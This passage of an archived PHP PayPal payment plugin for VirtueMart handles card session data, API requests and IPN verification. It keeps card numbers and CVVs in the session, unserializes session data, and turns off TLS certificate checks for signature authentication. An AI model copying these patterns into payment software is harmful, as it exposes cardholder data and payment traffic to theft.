AAAApaypal/helpers/customerdata.php000066600000014424151373156210012715 0ustar00clear(); $session = JFactory::getSession(); $sessionData = $session->get('paypal', 0, 'vm'); if (!empty($sessionData)) { $data = unserialize($sessionData); $this->_selected_method = $data->selected_method; // card information $this->_cc_type = $data->cc_type; $this->_cc_number = $data->cc_number; $this->_cc_cvv = $data->cc_cvv; $this->_cc_expire_month = $data->cc_expire_month; $this->_cc_expire_year = $data->cc_expire_year; $this->_cc_valid = $data->cc_valid; //Customer settings $this->_autobilling_max_amount = $data->autobilling_max_amount; //PayPal Express $this->_token = $data->token; $this->_payer_id = $data->payer_id; $this->_first_name = $data->first_name; $this->_last_name = $data->last_name; $this->_payer_email = $data->payer_email; // $this->_txn_id = $data->txn_id; // $this->_txn_type = $data->txn_type; // $this->_payment_status = $data->payment_status; // $this->_pending_reason = $data->pending_reason; $this->save(); return $data; } } public function loadPost() { // card information $virtuemart_paymentmethod_id = JRequest::getVar('virtuemart_paymentmethod_id', 0); //if ($virtuemart_paymentmethod_id) { // print_trace(); //$this->clear(); //} $this->_selected_method = $virtuemart_paymentmethod_id; $cctype = JRequest::getVar('cc_type_' . $virtuemart_paymentmethod_id, ''); if ($cctype) { $this->_cc_type = $cctype; } $cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, ''); if ($cc_name) { $this->_cc_name = $cc_name; } $cc_number = JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, ''); if ($cc_number) { $this->_cc_number = $cc_number; } $cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, ''); if ($cc_cvv) { $this->_cc_cvv = $cc_cvv; } $cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, ''); if ($cc_expire_month) { $this->_cc_expire_month = $cc_expire_month; } $cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, ''); if ($cc_expire_year) { $this->_cc_expire_year = $cc_expire_year; } //Customer settings $autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, ''); if ($autobilling_max_amount) { $this->_autobilling_max_amount = $autobilling_max_amount; } // $this->_cc_name = JRequest::getVar('cc_name_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_number = str_replace(" ","",JRequest::getVar('cc_number_' . $virtuemart_paymentmethod_id, '')); // $this->_cc_cvv = JRequest::getVar('cc_cvv_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_expire_month = JRequest::getVar('cc_expire_month_' . $virtuemart_paymentmethod_id, ''); // $this->_cc_expire_year = JRequest::getVar('cc_expire_year_' . $virtuemart_paymentmethod_id, ''); // //Customer settings // $this->_autobilling_max_amount = JRequest::getVar('autobilling_max_amount_' . $virtuemart_paymentmethod_id, ''); $this->save(); } public function save() { $session = JFactory::getSession(); $sessionData = new stdClass(); $sessionData->selected_method = $this->_selected_method; // card information $sessionData->cc_type = $this->_cc_type; $sessionData->cc_number = $this->_cc_number; $sessionData->cc_cvv = $this->_cc_cvv; $sessionData->cc_expire_month = $this->_cc_expire_month; $sessionData->cc_expire_year = $this->_cc_expire_year; $sessionData->cc_valid = $this->_cc_valid; //Customer settings $sessionData->autobilling_max_amount = $this->_autobilling_max_amount; //PayPal Express $sessionData->token = $this->_token; $sessionData->payer_id = $this->_payer_id; $sessionData->first_name = $this->_first_name; $sessionData->last_name = $this->_last_name; $sessionData->payer_email = $this->_payer_email; // $sessionData->txn_id = $this->_txn_id; // $sessionData->txn_type = $this->_txn_type; // $sessionData->payment_status = $this->_payment_status; // $sessionData->pending_reason = $this->_pending_reason; $session->set('paypal', serialize($sessionData), 'vm'); } public function reset() { $this->_selected_method = ''; // card information $this->_cc_type = ''; $this->_cc_number = ''; $this->_cc_cvv = ''; $this->_cc_expire_month = ''; $this->_cc_expire_year = ''; //Customer settings $this->_autobilling_max_amount = ''; //PayPal Express $this->_token = ''; $this->_payer_id = ''; $this->_first_name = ''; $this->_last_name = ''; $this->_payer_email = ''; // $this->_txn_id = ''; // $this->_txn_type = ''; // $this->_payment_status = ''; // $this->_pending_reason = ''; $this->save(); } public function clear() { $session = JFactory::getSession(); $session->clear('paypal', 'vm'); } public function getVar($var) { $this->load(); return $this->{'_' . $var}; } public function setVar($var, $val) { $this->{'_' . $var} = $val; } } paypal/helpers/index.html000066600000000000151373156210011467 0ustar00paypal/helpers/paypal.php000066600000076676151373156210011531 0ustar00context = $session->getId(); $this->_method = $method; $this->paypalPlugin = $paypalPlugin; //Set the vendor $vendorModel = VmModel::getModel('Vendor'); $vendorModel->setId($this->_method->virtuemart_vendor_id); $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor, 1); $this->vendor = $vendor; $this->getPaypalPaymentCurrency(); } function getPaypalPaymentCurrency($getCurrency = FALSE) { vmPSPlugin::getPaymentCurrency($this->_method); $this->currency_code_3 = shopFunctions::getCurrencyByID($this->_method->payment_currency, 'currency_code_3'); } public function getContext() { return $this->context; } public function setCart($cart) { $this->cart = $cart; if (!isset($this->cart->pricesUnformatted)) { $this->cart->getCartPrices(); } } public function setOrder($order) { $this->order = $order; } public function setCustomerData($customerData) { $this->customerData = $customerData; } public function loadCustomerData() { $this->customerData = new PaypalHelperCustomerData(); $this->customerData->load(); $this->customerData->loadPost(); } function getItemName($name) { return substr(strip_tags($name), 0, 127); } function getProductAmount($productPricesUnformatted) { if ($productPricesUnformatted['salesPriceWithDiscount']) { return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPriceWithDiscount'], $this->_method->payment_currency); } else { return vmPSPlugin::getAmountValueInCurrency($productPricesUnformatted['salesPrice'], $this->_method->payment_currency); } } function addRulesBill($rules) { $handling = 0; foreach ($rules as $rule) { $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], $this->_method->payment_currency); } return $handling; } /** * @return value */ function getHandlingAmount() { $handling = 0; $handling += $this->addRulesBill($this->cart->cartData['DBTaxRulesBill']); $handling += $this->addRulesBill($this->cart->cartData['taxRulesBill']); $handling += $this->addRulesBill($this->cart->cartData['DATaxRulesBill']); $handling += vmPSPlugin::getAmountValueInCurrency($this->cart->pricesUnformatted['salesPricePayment'], $this->_method->payment_currency); return $handling; } public function setTotal($total) { if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . '/helpers/currencydisplay.php'); } $this->total = vmPSPlugin::getAmountValueInCurrency($total, $this->_method->payment_currency); $cd = CurrencyDisplay::getInstance($this->cart->pricesCurrency); } public function getTotal() { return $this->total; } public function getResponse() { return $this->response; } public function getRequest() { $this->debugLog($this->requestData, 'PayPal ' . $this->requestData['METHOD'] . ' Request variables ', 'debug'); return $this->requestData; } protected function sendRequest($post_data) { $retryCodes = array('401', '403', '404',); $this->post_data = $post_data; $post_url = $this->_getApiUrl(); $post_string = $this->ToUri($post_data); $curl_request = curl_init($post_url); curl_setopt($curl_request, CURLOPT_POSTFIELDS, $post_string); curl_setopt($curl_request, CURLOPT_HEADER, 0); curl_setopt($curl_request, CURLOPT_TIMEOUT, $this->_timeout); curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1); if ($this->_method->authentication == 'certificate') { $certPath = ""; $passPhrase = ""; $this->getSSLCertificate($certPath, $passPhrase); curl_setopt($curl_request, CURLOPT_SSLCERT, $certPath); curl_setopt($curl_request, CURLOPT_SSLCERTPASSWD, $passPhrase); curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($curl_request, CURLOPT_SSL_VERIFYHOST, 2); } else { curl_setopt($curl_request, CURLOPT_SSL_VERIFYPEER, false); } curl_setopt($curl_request, CURLOPT_POST, 1); if (preg_match('/xml/', $post_url)) { curl_setopt($curl_request, CURLOPT_HTTPHEADER, Array("Content-Type: text/xml")); } $response = curl_exec($curl_request); if ($curl_error = curl_error($curl_request)) { $this->debugLog($curl_error, '----CURL ERROR----', 'error'); } /* $httpStatus = curl_getinfo($curl_request, CURLINFO_HTTP_CODE); $retries = 0; if(in_array($httpStatus, $retryCodes) && isset($this->retry)) { $this->debugLog("Got $httpStatus response from server. Retrying"); do { $result = curl_exec(debugLog); $httpStatus = curl_getinfo(debugLog, CURLINFO_HTTP_CODE); } while (in_array($httpStatus, self::$retryCodes) && ++$retries < $this->retry ); } */ $responseArray = array(); parse_str($response, $responseArray); // Break the NVP string to an array curl_close($curl_request); //$responseArray['invoice'] = $this->order['details']['BT']->order_number; $responseArray['custom'] = $this->context; $responseArray['method'] = $post_data['METHOD']; $this->response = $responseArray; if ($this->response['ACK'] == 'SuccessWithWarning') { $level = 'warning'; } else { $level = 'debug'; } $this->debugLog($post_data, 'PayPal ' . $post_data['METHOD'] . ' Request variables:', $level); $this->debugLog($this->response, 'PayPal response:', $level); return $this->response; } /** * Get ssl parameters for certificate based client authentication * * @param string $certPath - path to client certificate file (PEM formatted file) */ public function getSSLCertificate(&$certifPath, &$passPhrase) { $safePath = VmConfig::get('forSale_path', ''); if ($safePath) { $sslCertifFolder = $safePath . "paypal"; } $certifPath = $sslCertifFolder . DS . $this->api_certificate; } protected function setTimeOut($value = 45) { $this->_timeout = $value; } protected function _getPayPalUrl($protocol = 'https://', $includePath = true) { $url = ($this->_method->sandbox ) ? $protocol . 'www.sandbox.paypal.com' : $protocol . 'www.paypal.com'; if ($includePath) { $url .= '/cgi-bin/webscr'; } return $url; } protected function _getApiUrl() { $url_auth = ""; if ($this->_method->authentication == 'signature') { $url_auth = "-3t"; } $url_environment = ""; if ($this->_method->sandbox ) { $url_environment = ".sandbox"; } //return ($this->_method->sandbox=='sandbox') ? 'https://api-3t.sandbox.paypal.com/nvp' : 'https://api-3t.paypal.com/nvp'; return 'https://api' . $url_auth . $url_environment . '.paypal.com/nvp'; } protected function getDurationValue($duration) { $parts = explode('-', $duration); return $parts[0]; } protected function getDurationUnit($duration) { $parts = explode('-', $duration); return $parts[1]; } protected function truncate($string, $length) { return substr($string, 0, $length); } protected function _getFormattedDate($month, $year) { return sprintf('%02d%04d', $month, $year); } public function validate($enqueueMessage = true) { return true; } public function validatecheckout($enqueueMessage = true) { return true; } function ToUri($post_variables) { $poststring = ''; foreach ($post_variables AS $key => $val) { $poststring .= urlencode($key) . "=" . urlencode($val) . "&"; } $poststring = rtrim($poststring, "& "); return $poststring; } public function displayExtraPluginInfo() { $extraInfo = ''; if ($this->_method->payment_type == '_xclick-auto-billing' && $this->customerData->getVar('autobilling_max_amount')) { $cd = CurrencyDisplay::getInstance($this->_method->payment_currency); $extraInfo .= '
'; $extraInfo .= JText::_('VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT') . ': ' . $cd->priceDisplay($this->customerData->getVar('autobilling_max_amount')); } if ($this->_method->payment_type == '_xclick-subscriptions') { $extraInfo .= '
'; $extraInfo .= $this->getRecurringProfileDesc(); $extraInfo .= ''; } if ($this->_method->payment_type == '_xclick-payment-plan') { $extraInfo .= '
'; $extraInfo .= $this->getPaymentPlanDesc(); $extraInfo .= ''; } return $extraInfo; } public function getExtraPluginInfo() { $extraInfo = ''; return $extraInfo; } public function getLogoImage() { if ($this->_method->logoimg) { return JURI::base() . '/images/stories/virtuemart/payment/' . $this->_method->logoimg; } else { return JURI::base() . $this->vendor->images[0]->file_url; } } public function getRecurringProfileDesc() { // $recurringDesc = ''; // if ($this->_method->subcription_trials) { // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
'; // } // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
'; // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
'; $durationValue = $this->getDurationValue($this->_method->subscription_duration); $durationUnit = $this->getDurationUnit($this->_method->subscription_duration); $recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_SUBSCRIPTION_DESCRIPTION', $durationValue, $durationUnit, $this->_method->subscription_term); return $recurringDesc; } public function getPaymentPlanDesc() { // $recurringDesc = ''; // if ($this->_method->subcription_trials) { // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_TRIAL_PERIODS') . $this->_method->trial1_duration . ': '.$this->_method->trial1_price.'
'; // } // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION').': '.$this->_method->subscription_duration . '
'; // $recurringDesc .= JText::_('VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM').': '.$this->_method->subscription_term . '
'; $durationValue = $this->getDurationValue($this->_method->payment_plan_duration); $durationUnit = $this->getDurationUnit($this->_method->payment_plan_duration); $recurringDesc = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESCRIPTION', $this->_method->payment_plan_term, $durationValue, $durationUnit); if ($this->_method->payment_plan_defer && $this->_method->paypalproduct == 'std') { $defer_duration = $this->getDurationValue($this->_method->payment_plan_defer_duration); $defer_unit = $this->getDurationUnit($this->_method->payment_plan_defer_duration); $startDate = JFactory::getDate('+' . $defer_duration . ' ' . $defer_unit); $recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4'))); } else if ($this->_method->payment_plan_defer_strtotime) { $startDate = JFactory::getDate($this->_method->payment_plan_defer_strtotime); $recurringDesc .= '
' . JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT', JHTML::_('date', $startDate->toFormat(), JText::_('DATE_FORMAT_LC4'))); //$recurringDesc .= '
'.JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT',date(JText::_('DATE_FORMAT_LC4'),strtotime('first day of next month'))); } return $recurringDesc; } /********************************/ /* Instant Payment Notification */ /********************************/ public function processIPN($paypal_data, $payments) { // check that the remote IP is from Paypal. if (!$this->checkPaypalIps($paypal_data)) { return false; } // Validate the IPN content upon PayPal if (!$this->validateIpnContent($paypal_data)) { return false; } //Check the PayPal response /* * https://cms.paypal.com/us/cgi-bin/?cmd=_render-content&content_ID=developer/e_howto_html_IPNandPDTVariables * The status of the payment: * Canceled_Reversal: A reversal has been canceled. For example, you won a dispute with the customer, and the funds for the transaction that was reversed have been returned to you. * Completed: The payment has been completed, and the funds have been added successfully to your account balance. * Created: A German ELV payment is made using Express Checkout. * Denied: You denied the payment. This happens only if the payment was previously pending because of possible reasons described for the pending_reason variable or the Fraud_Management_Filters_x variable. * Expired: This authorization has expired and cannot be captured. * Failed: The payment has failed. This happens only if the payment was made from your customer’s bank account. * Pending: The payment is pending. See pending_reason for more information. * Refunded: You refunded the payment. * Reversed: A payment was reversed due to a chargeback or other type of reversal. The funds have been removed from your account balance and returned to the buyer. The reason for the reversal is specified in the ReasonCode element. * Processed: A payment has been accepted. * Voided: This authorization has been voided. */ $order_history = array(); $order_history['customer_notified'] = 1; if ($paypal_data['txn_type'] == 'subscr_cancel') { $order_history['order_status'] = $this->_method->status_canceled; } elseif ($paypal_data['txn_type'] == 'mp_cancel') { $order_history['order_status'] = $this->_method->status_canceled; } elseif ($paypal_data['txn_type'] == 'subscr_eot') { $order_history['order_status'] = $this->_method->status_expired; } elseif ($paypal_data['txn_type'] == 'recurring_payment_expired') { $order_history['order_status'] = $this->_method->status_expired; } elseif ($paypal_data['txn_type'] == 'subscr_signup') { //TODO: Validate the response $order_history['order_status'] = $this->_method->status_success; } elseif ($paypal_data['txn_type'] == 'recurring_payment_profile_created') { if ($paypal_data['profile_status'] == 'Active') { $order_history['order_status'] = $this->_method->status_success; } else { $order_history['order_status'] = $this->_method->status_canceled; } } else if (strcmp($paypal_data['payment_status'], 'Completed') == 0) { $this->debugLog('Completed', 'payment_status', 'debug'); // 1. check the payment_status is Completed // 2. check that txn_id has not been previously processed if ($this->_check_txn_id_already_processed($payments, $paypal_data['txn_id'])) { $this->debugLog($paypal_data['txn_id'], '_check_txn_id_already_processed', 'debug'); return FALSE; } // 3. check email and amount currency is correct if ($paypal_data['txn_type'] != 'recurring_payment' && !$this->_check_email_amount_currency($payments, $paypal_data)) { return FALSE; } // now we can process the payment if (strcmp($paypal_data['payment_status'], 'Authorization') == 0) { $order_history['order_status'] = $this->_method->status_pending; } else { $order_history['order_status'] = $this->_method->status_success; } $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_CONFIRMED', $this->order['details']['BT']->order_number); } elseif (strcmp($paypal_data['payment_status'], 'Pending') == 0) { $lang = JFactory::getLanguage(); $key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_' . strtoupper($paypal_data['pending_reason']); if (!$lang->hasKey($key)) { $key = 'VMPAYMENT_PAYPAL_PENDING_REASON_FE_DEFAULT'; } $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PENDING', $this->order['details']['BT']->order_number) . JText::_($key); $order_history['order_status'] = $this->_method->status_pending; } elseif (strcmp($paypal_data['payment_status'], 'Refunded') == 0) { if ($this->_is_full_refund($payments, $paypal_data)) { $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_REFUNDED', $this->order['details']['BT']->order_number); $order_history['order_status'] = $this->_method->status_refunded; } else { $order_history['comments'] = JText::sprintf('VMPAYMENT_PAYPAL_PAYMENT_STATUS_PARTIAL_REFUNDED', $this->order['details']['BT']->order_number); $order_history['order_status'] = isset($this->_method->status_partial_refunded) ? $this->_method->status_partial_refunded : 'R'; } } elseif (isset ($paypal_data['payment_status'])) { // voided $order_history['order_status'] = $this->_method->status_canceled; } else { /* * a notification was received that concerns one of the payment (since $paypal_data['invoice'] is found in our table), * but the IPN notification has no $paypal_data['payment_status'] * We just log the info in the order, and do not change the status, do not notify the customer */ $order_history['comments'] = JText::_('VMPAYMENT_PAYPAL_IPN_NOTIFICATION_RECEIVED'); $order_history['customer_notified'] = 0; } return $order_history; } protected function checkPaypalIps($paypal_data) { /* $test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0; if ($test_ipn == 1) { return true; } */ $order_number = $paypal_data['invoice']; // Get the list of IP addresses for www.paypal.com and notify.paypal.com if ($this->_method->sandbox ) { $paypal_iplist = gethostbynamel('ipn.sandbox.paypal.com'); $paypal_iplist = (array)$paypal_iplist; $this->debugLog($paypal_iplist, 'checkPaypalIps SANDBOX', 'debug', false); } else { $paypal_iplist1 = gethostbynamel('www.paypal.com'); $paypal_iplist2 = gethostbynamel('notify.paypal.com'); $paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66'); $paypal_iplist = array_merge($paypal_iplist1, $paypal_iplist2, $paypal_iplist3); // http://forum.virtuemart.net/index.php?topic=115375.msg406664#msg406664 $paypal_iplist3 = array('216.113.188.202', '216.113.188.203', '216.113.188.204', '66.211.170.66'); // Added JH 2013-10-12 //Current IP addresses //------------api.paypal.com--------- $paypal_iplist_api = array('173.0.88.66', '173.0.88.98', '173.0.84.66', '173.0.84.98', '173.0.80.00', '173.0.80.01', '173.0.80.02', '173.0.80.03', '173.0.80.04', '173.0.80.05', '173.0.80.06', '173.0.80.07', '173.0.80.08', '173.0.80.09', '173.0.80.10', '173.0.80.11', '173.0.80.12', '173.0.80.13', '173.0.80.14', '173.0.80.15', '173.0.80.16', '173.0.80.17', '173.0.80.18', '173.0.80.19', '173.0.80.20'); //------------api-aa.paypal.com------------ $paypal_iplist_api_aa = array('173.0.88.67', '173.0.88.99', '173.0.84.99', '173.0.84.67'); //'------------api-3t.paypal.com------------' $paypal_iplist_api_3t_aa = array('173.0.88.69', '173.0.88.101', '173.0.84.69', '173.0.84.101'); //------------api-aa-3t.paypal.com------------ $paypal_iplist_api_aa_3t = array('173.0.88.68', '173.0.88.100', '173.0.84.68', '173.0.84.100'); //------------notify.paypal.com (IPN delivery)------------ $paypal_iplist_notify = array('173.0.81.1', '173.0.81.33'); //'-----------reports.paypal.com-----------' $paypal_iplist_reports = array('66.211.168.93', '173.0.84.161', '173.0.84.198', '173.0.88.161', '173.0.88.198'); //'------------www.paypal.com------------' //'Starting September 12, 2012 www.paypal.com will start resolving to a dynamic list of IP addresses and as such should not be whitelisted.' //'For more information on IPNs please go here.' //'------------ipnpb.paypal.com------------' $paypal_iplist_ipnb = array('64.4.240.0', '64.4.240.1', '64.4.240.2', '64.4.240.3', '64.4.240.4', '64.4.240.5', '64.4.240.6', '64.4.240.7', '64.4.240.8', '64.4.240.9', '64.4.240.10', '64.4.240.11', '64.4.240.12', '64.4.240.13', '64.4.240.14', '64.4.240.15', '64.4.240.16', '64.4.240.17', '64.4.240.18', '64.4.240.19', '64.4.240.20', '118.214.15.186', '118.215.103.186', '118.215.119.186', '118.215.127.186', '118.215.15.186', '118.215.151.186', '118.215.159.186', '118.215.167.186', '118.215.199.186', '118.215.207.186', '118.215.215.186', '118.215.231.186', '118.215.255.186', '118.215.39.186', '118.215.63.186', '118.215.7.186', '118.215.79.186', '118.215.87.186', '118.215.95.186', '202.43.63.186', '69.192.31.186', '72.247.111.186', '88.221.43.186', '92.122.143.186', '92.123.151.186', '92.123.159.186', '92.123.163.186', '92.123.167.186', '92.123.179.186', '92.123.183.186'); // JH $paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3, // Added JH 2013-10-12 $paypal_iplist_api, $paypal_iplist_api_aa, $paypal_iplist_api_3t_aa, $paypal_iplist_api_aa_3t, $paypal_iplist_notify, $paypal_iplist_ipnb // JH ); $paypal_iplist = array_merge($paypal_iplist, $paypal_iplist2, $paypal_iplist3); $this->debugLog($paypal_iplist, 'checkPaypalIps PRODUCTION', 'debug', false); } $this->debugLog($_SERVER['REMOTE_ADDR'], 'checkPaypalIps REMOTE ADDRESS', 'debug', false); // test if the remote IP connected here is a valid IP address if (!in_array($_SERVER['REMOTE_ADDR'], $paypal_iplist)) { $text = "Error with REMOTE IP ADDRESS = " . $_SERVER['REMOTE_ADDR'] . ". The remote address of the script posting to this notify script does not match a valid PayPal IP address\n These are the valid IP Addresses: " . implode(",", $paypal_iplist) . "The Order ID received was: " . $order_number; $this->debugLog($text, 'checkPaypalIps', 'error', false); return false; } return true; } protected function validateIpnContent($paypal_data) { $test_ipn = (array_key_exists('test_ipn', $paypal_data)) ? $paypal_data['test_ipn'] : 0; if ($test_ipn == 1) { //return true; } // Paypal wants to open the socket in SSL $port = 443; $paypal_url = $this->_getPaypalURL('ssl://', false); $paypal_url_header = $this->_getPaypalURL('', false); $protocol = 'ssl://'; /* * Before we can trust the contents of the message, we must first verify that the message came from PayPal. * To verify the message, we must send back the contents in the exact order they * were received and precede it with the command _notify-validate, */ // read the post from PayPal system and add 'cmd' $post_msg = 'cmd=_notify-validate'; if(function_exists('get_magic_quotes_gpc')) { $get_magic_quotes_exists = true; } foreach ($paypal_data as $key => $value) { if($get_magic_quotes_exists == true && get_magic_quotes_gpc() == 1) { $value = str_replace('\r\n', "QQLINEBREAKQQ", $value); $value = urlencode(stripslashes($value)); $value = str_replace("QQLINEBREAKQQ", "\r\n", $value); } else { $value = urlencode($value); } $post_msg .= "&$key=$value"; } $header="POST /cgi-bin/webscr HTTP/1.1\r\n"; $header .= "User-Agent: PHP/" . phpversion () . "\r\n"; $header .= "Referer: " . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . @$_SERVER['QUERY_STRING'] . "\r\n"; $header .= "Server: " . $_SERVER['SERVER_SOFTWARE'] . "\r\n"; $header .= "Host: " . $paypal_url_header . ":" . $port . "\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen ($post_msg) . "\r\n"; //$header .= "Accept: */*\r\n\r\n"; $header .="Connection: close\r\n\r\n"; $fps = fsockopen($paypal_url, $port, $errno, $errstr, 30); $valid_ipn = false; if (!$fps) { $this->debugLog(JText::sprintf('VMPAYMENT_PAYPAL_ERROR_POSTING_IPN', $errstr, $errno), 'validateIpnContent', 'error' , false); } else { $return = fputs($fps, $header . $post_msg); if ($return===false) { $this->debugLog("FALSE", 'validateIpnContent FPUTS', 'error', false); return FALSE; } $res = ''; while (!feof($fps)) { $res .= fgets($fps, 1024); } fclose($fps); // Inspect IPN validation result and act accordingly $valid_ipn = strstr($res, "VERIFIED"); if (!$valid_ipn) { if (strstr($res, "INVALID")) { $errorInfo=array("paypal_data" =>$paypal_data, 'post_msg'=> $post_msg, 'paypal_res' =>$res); $this->debugLog($errorInfo, JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION'), 'error', false); } else { $this->debugLog(JText::_('VMPAYMENT_PAYPAL_ERROR_IPN_VALIDATION') . ": NO ANSWER FROM PAYPAL", 'validateIpnContent', 'error', false); } } } $this->debugLog('valid_ipn: ' . $valid_ipn, 'validateIpnContent', 'debug', false); return $valid_ipn; } protected function _check_txn_id_already_processed($payments, $txn_id) { if ($this->order['details']['BT']->order_status == $this->_method->status_success) { foreach ($payments as $payment) { $paypal_data = json_decode($payment->paypal_fullresponse); if ($paypal_data->txn_id == $txn_id) { return true; } } } return false; } protected function _check_email_amount_currency($payments, $paypal_data) { /* * TODO Not checking yet because config do not have primary email address * Primary email address of the payment recipient (that is, the merchant). * If the payment is sent to a non-primary email address on your PayPal account, * the receiver_email is still your primary email. */ if ($this->_method->paypalproduct =="std") { if (strcasecmp($paypal_data['receiver_email'],$this->merchant_email)!=0 ) { $errorInfo=array("paypal_data" =>$paypal_data, 'merchant_email' =>$this->merchant_email); $this->debugLog($errorInfo, 'IPN notification: wrong merchant_email', 'error', false); return false; } } if (($payments[0]->payment_order_total == $paypal_data['mc_gross']) and ($this->currency_code_3 == $paypal_data['mc_currency'])) { return TRUE; } $errorInfo=array("paypal_data" =>$paypal_data, 'payment_order_total' =>$payments[0]->payment_order_total, 'currency_code_3'=>$this->currency_code_3); $this->debugLog($errorInfo, 'IPN notification with invalid amount or currency or email', 'error', false); return FALSE; } static function getPaypalCreditCards() { return array( 'Visa', 'Mastercard', 'Amex', 'Discover', 'Maestro', ); } function _is_full_refund($payment, $paypal_data) { if (($payment->payment_order_total == (-1 * $paypal_data['mc_gross']))) { return TRUE; } else { return FALSE; } } function handleResponse() { if ($this->response) { if ($this->response['ACK'] == 'Failure' || $this->response['ACK'] == 'FailureWithWarning') { $error = ''; $public_error = ''; for ($i = 0; isset($this->response["L_ERRORCODE" . $i]); $i++) { $error .= $this->response["L_ERRORCODE" . $i]; $message = isset($this->response["L_LONGMESSAGE" . $i]) ? $this->response["L_LONGMESSAGE" . $i] : $this->response["L_SHORTMESSAGE" . $i]; $error .= ": " . $message . "
"; } if ($this->_method->debug) { $public_error = $error; } $this->debugLog($this->response, 'handleResponse:', 'debug'); VmError($error, $public_error); return false; } elseif ($this->response['ACK'] == 'Success' || $this->response['ACK'] == 'SuccessWithWarning' || $this->response['TRANSACTIONID'] != NULL || $this->response['PAYMENTINFO_0_TRANSACTIONID'] != NULL) { return true; } else { // Unexpected ACK type. Log response and inform the buyer that the // transaction must be manually investigated. $error = ''; $public_error = ''; $error="Unexpected ACK type:". $this->response['ACK']; $this->debugLog($this->response, 'Unexpected ACK type:', 'debug'); if ($this->_method->debug) { $public_error = $error; } VmError($error, $public_error); return false; } } } function onShowOrderBEPayment($data) { $showOrderBEFields = $this->getOrderBEFields(); $prefix = 'PAYPAL_RESPONSE_'; $html = ''; if ($data->ACK == 'SuccessWithWarning' && $data->L_ERRORCODE0 == self::FMF_PENDED_ERROR_CODE && $data->PAYMENTSTATUS == "Pending" ) { $showOrderField = 'L_SHORTMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . $showOrderField, $this->highlight($data->$showOrderField)); } if (($data->ACK == 'Failure' OR $data->ACK == 'FailureWithWarning')) { $showOrderField = 'L_SHORTMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField)); $showOrderField = 'L_LONGMESSAGE0'; $html .= $this->paypalPlugin->getHtmlRowBE($prefix . 'ERRORMSG', $this->highlight($data->$showOrderField)); } foreach ($showOrderBEFields as $key => $showOrderBEField) { if (($showOrderBEField == 'PAYMENTINFO_0_REASONCODE' and $data->$showOrderBEField != 'None') OR ($showOrderBEField == 'PAYMENTINFO_0_ERRORCODE' and $data->$showOrderBEField != 0) OR ($showOrderBEField != 'PAYMENTINFO_0_REASONCODE' and $showOrderBEField != 'PAYMENTINFO_0_ERRORCODE') ) { if (isset($data->$showOrderBEField)) { $key = $prefix . $key; $html .= $this->paypalPlugin->getHtmlRowBE($key, $data->$showOrderBEField); } } } return $html; } function onShowOrderBEPaymentByFields($payment) { return NULL; } /*********************/ /* Log and Reporting */ /*********************/ public function debug($subject, $title = '', $echo = true) { $debug = '
'; $debug .= ($title) ? '
' . $title . ':
' : ''; //$debug .= '
';
		$debug .= str_replace("=>", "⇒", str_replace("Array", "Array", nl2br(str_replace(" ", "   ", print_r($subject, true)))));
		//$debug .= '
'; $debug .= '
